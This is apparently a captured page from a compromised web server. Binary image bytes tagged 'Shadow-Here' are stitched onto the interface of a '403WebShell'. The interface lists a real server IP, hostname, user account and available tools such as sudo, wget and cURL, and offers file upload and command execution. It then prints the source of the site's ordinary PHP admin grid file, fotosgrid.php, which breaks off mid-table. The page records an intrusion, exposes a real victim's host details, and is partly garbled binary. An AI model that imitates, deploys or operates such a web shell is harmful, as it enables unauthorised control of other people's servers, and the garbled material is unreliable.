DExifII*E`....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 50.6.201.105  /  Your IP : 3.144.84.11
Web Server : Apache
System : Linux vps-13231541.northidigital.com.br 5.14.0-427.31.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 15 14:47:52 EDT 2024 x86_64
User : novotermaco ( 1059)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/novotermaco/public_html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/novotermaco/public_html/admin/fotosgrid.php
<?php include_once "admininfo.php" ?>
<?php

// Create page object
if (!isset($fotos_grid)) $fotos_grid = new cfotos_grid();

// Page init
$fotos_grid->Page_Init();

// Page main
$fotos_grid->Page_Main();

// Global Page Rendering event (in userfn*.php)
Page_Rendering();

// Page Rendering event
$fotos_grid->Page_Render();
?>
<?php if ($fotos->Export == "") { ?>
<script type="text/javascript">

// Page object
var fotos_grid = new ew_Page("fotos_grid");
fotos_grid.PageID = "grid"; // Page ID
var EW_PAGE_ID = fotos_grid.PageID; // For backward compatibility

// Form object
var ffotosgrid = new ew_Form("ffotosgrid");
ffotosgrid.FormKeyCountName = '<?php echo $fotos_grid->FormKeyCountName ?>';

// Validate form
ffotosgrid.Validate = function() {
	if (!this.ValidateRequired)
		return true; // Ignore validation
	var $ = jQuery, fobj = this.GetForm(), $fobj = $(fobj);
	this.PostAutoSuggest();
	if ($fobj.find("#a_confirm").val() == "F")
		return true;
	var elm, felm, uelm, addcnt = 0;
	var $k = $fobj.find("#" + this.FormKeyCountName); // Get key_count
	var rowcnt = ($k[0]) ? parseInt($k.val(), 10) : 1;
	var startcnt = (rowcnt == 0) ? 0 : 1; // Check rowcnt == 0 => Inline-Add
	var gridinsert = $fobj.find("#a_list").val() == "gridinsert";
	for (var i = startcnt; i <= rowcnt; i++) {
		var infix = ($k[0]) ? String(i) : "";
		$fobj.data("rowindex", infix);
		var checkrow = (gridinsert) ? !this.EmptyRow(infix) : true;
		if (checkrow) {
			addcnt++;
			elm = this.GetElements("x" + infix + "_id_texto");
			if (elm && !ew_HasValue(elm))
				return this.OnError(elm, ewLanguage.Phrase("EnterRequiredField") + " - <?php echo ew_JsEncode2($fotos->id_texto->FldCaption()) ?>");
			felm = this.GetElements("x" + infix + "_foto");
			elm = this.GetElements("fn_x" + infix + "_foto");
			if (felm && elm && !ew_HasValue(elm))
				return this.OnError(felm, ewLanguage.Phrase("EnterRequiredField") + " - <?php echo ew_JsEncode2($fotos->foto->FldCaption()) ?>");

			// Set up row object
			ew_ElementsToRow(fobj);

			// Fire Form_CustomValidate event
			if (!this.Form_CustomValidate(fobj))
				return false;
		} // End Grid Add checking
	}
	return true;
}

// Check empty row
ffotosgrid.EmptyRow = function(infix) {
	var fobj = this.Form;
	if (ew_ValueChanged(fobj, infix, "id_texto", false)) return false;
	if (ew_ValueChanged(fobj, infix, "titulo", false)) return false;
	if (ew_ValueChanged(fobj, infix, "foto", false)) return false;
	return true;
}

// Form_CustomValidate event
ffotosgrid.Form_CustomValidate = 
 function(fobj) { // DO NOT CHANGE THIS LINE!

 	// Your custom validation code here, return false if invalid. 
 	return true;
 }

// Use JavaScript validation or not
<?php if (EW_CLIENT_VALIDATE) { ?>
ffotosgrid.ValidateRequired = true;
<?php } else { ?>
ffotosgrid.ValidateRequired = false; 
<?php } ?>

// Dynamic selection lists
ffotosgrid.Lists["x_id_texto"] = {"LinkField":"x_Id","Ajax":null,"AutoFill":false,"DisplayFields":["x_titulo_portugues","","",""],"ParentFields":[],"FilterFields":[],"Options":[]};

// Form object for search
</script>
<?php } ?>
<?php if ($fotos->getCurrentMasterTable() == "" && $fotos_grid->ExportOptions->Visible()) { ?>
<div class="ewListExportOptions"><?php $fotos_grid->ExportOptions->Render("body") ?></div>
<?php } ?>
<?php
if ($fotos->CurrentAction == "gridadd") {
	if ($fotos->CurrentMode == "copy") {
		$bSelectLimit = EW_SELECT_LIMIT;
		if ($bSelectLimit) {
			$fotos_grid->TotalRecs = $fotos->SelectRecordCount();
			$fotos_grid->Recordset = $fotos_grid->LoadRecordset($fotos_grid->StartRec-1, $fotos_grid->DisplayRecs);
		} else {
			if ($fotos_grid->Recordset = $fotos_grid->LoadRecordset())
				$fotos_grid->TotalRecs = $fotos_grid->Recordset->RecordCount();
		}
		$fotos_grid->StartRec = 1;
		$fotos_grid->DisplayRecs = $fotos_grid->TotalRecs;
	} else {
		$fotos->CurrentFilter = "0=1";
		$fotos_grid->StartRec = 1;
		$fotos_grid->DisplayRecs = $fotos->GridAddRowCount;
	}
	$fotos_grid->TotalRecs = $fotos_grid->DisplayRecs;
	$fotos_grid->StopRec = $fotos_grid->DisplayRecs;
} else {
	$bSelectLimit = EW_SELECT_LIMIT;
	if ($bSelectLimit) {
		$fotos_grid->TotalRecs = $fotos->SelectRecordCount();
	} else {
		if ($fotos_grid->Recordset = $fotos_grid->LoadRecordset())
			$fotos_grid->TotalRecs = $fotos_grid->Recordset->RecordCount();
	}
	$fotos_grid->StartRec = 1;
	$fotos_grid->DisplayRecs = $fotos_grid->TotalRecs; // Display all records
	if ($bSelectLimit)
		$fotos_grid->Recordset = $fotos_grid->LoadRecordset($fotos_grid->StartRec-1, $fotos_grid->DisplayRecs);
}
$fotos_grid->RenderOtherOptions();
?>
<?php $fotos_grid->ShowPageHeader(); ?>
<?php
$fotos_grid->ShowMessage();
?>
<table class="ewGrid"><tr><td class="ewGridContent">
<div id="ffotosgrid" class="ewForm form-horizontal">
<div id="gmp_fotos" class="ewGridMiddlePanel">
<table class="ewMultiColumnTable">
<?php
$fotos_grid->StartRec = 1;
$fotos_grid->StopRec = $fotos_grid->TotalRecs; // Show all records

// Restore number of post back records
if ($objForm) {
	$objForm->Index = -1;
	if ($objForm->HasValue($fotos_grid->FormKeyCountName) && ($fotos->CurrentAction == "gridadd" || $fotos->CurrentAction == "gridedit" || $fotos->CurrentAction == "F")) {
		$fotos_grid->KeyCount = $objForm->GetValue($fotos_grid->FormKeyCountName);
		$fotos_grid->StopRec = $fotos_grid->StartRec + $fotos_grid->KeyCount - 1;
	}
}
$fotos_grid->RecCnt = $fotos_grid->StartRec - 1;
if ($fotos_grid->Recordset && !$fotos_grid->Recordset->EOF) {
	$fotos_grid->Recordset->MoveFirst();
	if (!$bSelectLimit && $fotos_grid->StartRec > 1)
		$fotos_grid->Recordset->Move($fotos_grid->StartRec - 1);
} elseif (!$fotos->AllowAddDeleteRow && $fotos_grid->StopRec == 0) {
	$fotos_grid->StopRec = $fotos->GridAddRowCount;
}
if ($fotos->CurrentAction == "gridadd")
	$fotos_grid->RowIndex = 0;
if ($fotos->CurrentAction == "gridedit")
	$fotos_grid->RowIndex = 0;
while ($fotos_grid->RecCnt < $fotos_grid->StopRec) {
	$fotos_grid->RecCnt++;
	if (intval($fotos_grid->RecCnt) >= intval($fotos_grid->StartRec)) {
		$fotos_grid->RowCnt++;
		$fotos_grid->ColCnt++;
		if ($fotos_grid->ColCnt > $fotos_grid->RecPerRow)
			$fotos_grid->ColCnt = 1;
		if ($fotos->CurrentAction == "gridadd" || $fotos->CurrentAction == "gridedit" || $fotos->CurrentAction == "F") {
			$fotos_grid->RowIndex++;
			$objForm->Index = $fotos_grid->RowIndex;
			if ($objForm->HasValue($fotos_grid->FormActionName))
				$fotos_grid->RowAction = strval($objForm->GetValue($fotos_grid->FormActionName));
			elseif ($fotos->CurrentAction == "gridadd")
				$fotos_grid->RowAction = "insert";
			else
				$fotos_grid->RowAction = "";
		}

		// Set up key count
		$fotos_grid->KeyCount = $fotos_grid->RowIndex;

		// Init row class and style
		$fotos->ResetAttrs();
		$fotos->CssClass = "";
		if ($fotos->CurrentAction == "gridadd") {
			if ($fotos->CurrentMode == "copy") {
				$fotos_grid->LoadRowValues($fotos_grid->Recordset); // Load row values
				$fotos_grid->SetRecordKey($fotos_grid->RowOldKey, $fotos_grid->Recordset); // Set old record key
			} else {
				$fotos_grid->LoadDefaultValues(); // Load default values
				$fotos_grid->RowOldKey = ""; // Clear old key value
			}
		} else {
			$fotos_grid->LoadRowValues($fotos_grid->Recordset); // Load row values
		}
		$fotos->RowType = EW_ROWTYPE_VIEW; // Render view
		if ($fotos->CurrentAction == "gridadd") // Grid add
			$fotos->RowType = EW_ROWTYPE_ADD; // Render add
		if ($fotos->CurrentAction == "gridadd" && $fotos->EventCancelled && !$objForm->HasValue("k_blankrow")) // Insert failed
			$fotos_grid->RestoreCurrentRowFormValues($fotos_grid->RowIndex); // Restore form values
		if ($fotos->CurrentAction == "gridedit") { // Grid edit
			if ($fotos->EventCancelled) {
				$fotos_grid->RestoreCurrentRowFormValues($fotos_grid->RowIndex); // Restore form values
			}
			if ($fotos_grid->RowAction == "insert")
				$fotos->RowType = EW_ROWTYPE_ADD; // Render add
			else
				$fotos->RowType = EW_ROWTYPE_EDIT; // Render edit
		}
		if ($fotos->CurrentAction == "gridedit" && ($fotos->RowType == EW_ROWTYPE_EDIT || $fotos->RowType == EW_ROWTYPE_ADD) && $fotos->EventCancelled) // Update failed
			$fotos_grid->RestoreCurrentRowFormValues($fotos_grid->RowIndex); // Restore form values
		if ($fotos->RowType == EW_ROWTYPE_EDIT) // Edit row
			$fotos_grid->EditRowCnt++;
		if ($fotos->CurrentAction == "F") // Confirm row
			$fotos_grid->RestoreCurrentRowFormValues($fotos_grid->RowIndex); // Restore form values

		// Set up row id / data-rowindex
		$fotos->RowAttrs = array_merge($fotos->RowAttrs, array('data-rowindex'=>$fotos_grid->RowCnt, 'id'=>'r' . $fotos_grid->RowCnt . '_fotos', 'data-rowtype'=>$fotos->RowType));

		// Render row
		$fotos_grid->RenderRow();

		// Render list options
		$fotos_grid->RenderListOptions();

		// Skip delete row / empty row for confirm page
		if ($fotos_grid->RowAction <> "delete" && $fotos_grid->RowAction <> "insertdelete" && !($fotos_grid->RowAction == "insert" && $fotos->CurrentAction == "F" && $fotos_grid->EmptyRow())) {
?>
<?php if ($fotos_grid->ColCnt == 1) { ?>
<tr>
<?php } ?>
	<td valign="top"<?php echo $fotos->RowAttributes() ?>>
	<table class="table table-bordered table-striped">
	<?php if ($fotos->id_texto->Visible) { // id_texto ?>
		<tr>
			<td class="ewTableHeader"><span class="fotos_id_texto">
<?php if ($fotos->Export <> "" || $fotos->SortUrl($fotos->id_texto) == "") { ?>
				<div class="ewTableHeaderCaption"><?php echo $fotos->id_texto->FldCaption() ?></div>
<?php } else { ?>
				<div>
            	<div class="ewTableHeaderBtn"><span class="ewTableHeaderCaption"><?php echo $fotos->id_texto->FldCaption() ?></span><span class="ewTableHeaderSort"><?php if ($fotos->id_texto->getSort() == "ASC") { ?><span class="caret ewSortUp"></span><?php } elseif ($fotos->id_texto->getSort() == "DESC") { ?><span class="caret"></span><?php } ?></span></div>
				</div>
<?php } ?>
			</span></td>
			<td<?php echo $fotos->id_texto->CellAttributes() ?>>
<?php if ($fotos->RowType == EW_ROWTYPE_ADD) { // Add record ?>
<?php if ($fotos->id_texto->getSessionValue() <> "") { ?>
<span<?php echo $fotos->id_texto->ViewAttributes() ?>>
<?php echo $fotos->id_texto->ListViewValue() ?></span>
<input type="hidden" id="x<?php echo $fotos_grid->RowIndex ?>_id_texto" name="x<?php echo $fotos_grid->RowIndex ?>_id_texto" value="<?php echo ew_HtmlEncode($fotos->id_texto->CurrentValue) ?>">
<?php } else { ?>
<select data-field="x_id_texto" id="x<?php echo $fotos_grid->RowIndex ?>_id_texto" name="x<?php echo $fotos_grid->RowIndex ?>_id_texto"<?php echo $fotos->id_texto->EditAttributes() ?>>
<?php
if (is_array($fotos->id_texto->EditValue)) {
	$arwrk = $fotos->id_texto->EditValue;
	$rowswrk = count($arwrk);
	$emptywrk = TRUE;
	for ($rowcntwrk = 0; $rowcntwrk < $rowswrk; $rowcntwrk++) {
		$selwrk = (strval($fotos->id_texto->CurrentValue) == strval($arwrk[$rowcntwrk][0])) ? " selected=\"selected\"" : "";
		if ($selwrk <> "") $emptywrk = FALSE;
?>
<option value="<?php echo ew_HtmlEncode($arwrk[$rowcntwrk][0]) ?>"<?php echo $selwrk ?>>
<?php echo $arwrk[$rowcntwrk][1] ?>
</option>
<?php
	}
}
if (@$emptywrk) $fotos->id_texto->OldValue = "";
?>
</select>
<script type="text/javascript">
ffotosgrid.Lists["x_id_texto"].Options = <?php echo (is_array($fotos->id_texto->EditValue)) ? ew_ArrayToJson($fotos->id_texto->EditValue, 1) : "[]" ?>;
</script>
<?php } ?>
<input type="hidden" data-field="x_id_texto" name="o<?php echo $fotos_grid->RowIndex ?>_id_texto" id="o<?php echo $fotos_grid->RowIndex ?>_id_texto" value="<?php echo ew_HtmlEncode($fotos->id_texto->OldValue) ?>">
<?php } ?>
<?php if ($fotos->RowType == EW_ROWTYPE_EDIT) { // Edit record ?>
<?php if ($fotos->id_texto->getSessionValue() <> "") { ?>
<span<?php echo $fotos->id_texto->ViewAttributes() ?>>
<?php echo $fotos->id_texto->ListViewValue() ?></span>
<input type="hidden" id="x<?php echo $fotos_grid->RowIndex ?>_id_texto" name="x<?php echo $fotos_grid->RowIndex ?>_id_texto" value="<?php echo ew_HtmlEncode($fotos->id_texto->CurrentValue) ?>">
<?php } else { ?>
<select data-field="x_id_texto" id="x<?php echo $fotos_grid->RowIndex ?>_id_texto" name="x<?php echo $fotos_grid->RowIndex ?>_id_texto"<?php echo $fotos->id_texto->EditAttributes() ?>>
<?php
if (is_array($fotos->id_texto->EditValue)) {
	$arwrk = $fotos->id_texto->EditValue;
	$rowswrk = count($arwrk);
	$emptywrk = TRUE;
	for ($rowcntwrk = 0; $rowcntwrk < $rowswrk; $rowcntwrk++) {
		$selwrk = (strval($fotos->id_texto->CurrentValue) == strval($arwrk[$rowcntwrk][0])) ? " selected=\"selected\"" : "";
		if ($selwrk <> "") $emptywrk = FALSE;
?>
<option value="<?php echo ew_HtmlEncode($arwrk[$rowcntwrk][0]) ?>"<?php echo $selwrk ?>>
<?php echo $arwrk[$rowcntwrk][1] ?>
</option>
<?php
	}
}
if (@$emptywrk) $fotos->id_texto->OldValue = "";
?>
</select>
<script type="text/javascript">
ffotosgrid.Lists["x_id_texto"].Options = <?php echo (is_array($fotos->id_texto->EditValue)) ? ew_ArrayToJson($fotos->id_texto->EditValue, 1) : "[]" ?>;
</script>
<?php } ?>
<?php } ?>
<?php if ($fotos->RowType == EW_ROWTYPE_VIEW) { // View record ?>
<span<?php echo $fotos->id_texto->ViewAttributes() ?>>
<?php echo $fotos->id_texto->ListViewValue() ?></span>
<input type="hidden" data-field="x_id_texto" name="x<?php echo $fotos_grid->RowIndex ?>_id_texto" id="x<?php echo $fotos_grid->RowIndex ?>_id_texto" value="<?php echo ew_HtmlEncode($fotos->id_texto->FormValue) ?>">
<input type="hidden" data-field="x_id_texto" name="o<?php echo $fotos_grid->RowIndex ?>_id_texto" id="o<?php echo $fotos_grid->RowIndex ?>_id_texto" value="<?php echo ew_HtmlEncode($fotos->id_texto->OldValue) ?>">
<?php } ?>
</td>
		</tr>
	<?php } ?>
	<?php if ($fotos->titulo->Visible) { // titulo ?>
		<tr>
			<td class="ewTableHeader"><span class="fotos_titulo">
